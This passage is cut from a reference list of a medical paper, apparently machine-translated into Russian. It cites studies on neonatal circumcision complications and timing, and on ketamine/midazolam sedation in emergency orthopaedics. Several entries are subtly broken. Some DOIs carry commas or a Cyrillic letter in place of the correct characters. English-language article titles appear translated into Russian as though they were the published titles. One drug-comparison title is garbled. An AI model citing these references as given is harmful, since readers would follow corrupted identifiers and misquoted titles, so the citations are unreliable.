Интенсивная терапия. 2012. 40 (3): 511–6. [PubMed] [Google Scholar] 17. Бен-Ями Х. Обрезание: что делать? J Med Ethics. 2013. 39 (7): 459–62. DOI: 10.1136 / medethics-2012-101274. [PubMed] [CrossRef] [Google Scholar] 18. Cevik E, Bilgic S, Kilic E, Cinar O, Hasman H, Acar AY, et al. Сравнение мидозолама в низких дозах кетамина и мидазоламфентанила при неотложных ортопедических состояниях: двойное слепое рандомизированное исследование. Am J Emerg Med. 2013. 31 (1): 108–13. DOI: 10.1016 / j.ajem.2012.06.012. [PubMed] [CrossRef] [Google Scholar] 19. Экензе С.О., Эзомике Ю.О. Осложнения обрезания новорожденных, требующие хирургического вмешательства в развивающейся стране. J Trop Pediatr.2013. 59 (4): 292–7. DOI: 10,1093 / tropej / fmt020. [PubMed] [CrossRef] [Google Scholar] 20. Банегбал Б. Оптимальное время для обрезания новорожденных: исследование, основанное на наблюдениях. J Pediatr Urol. 2009. 5 (5): 359–62. DOI: 10.1016 / j.jpurol.2009.01.002. [PubMed] [CrossRef] [Google Scholar] 21. Мачмоути М., Алхотани А. Разумно ли обрезание новорожденных? Eur J Pediatr Surg. 2007. 17 (4): 266–9. DOI: 10,1055 / с-2007-965417. [PubMed] [CrossRef] [Google Scholar] 22.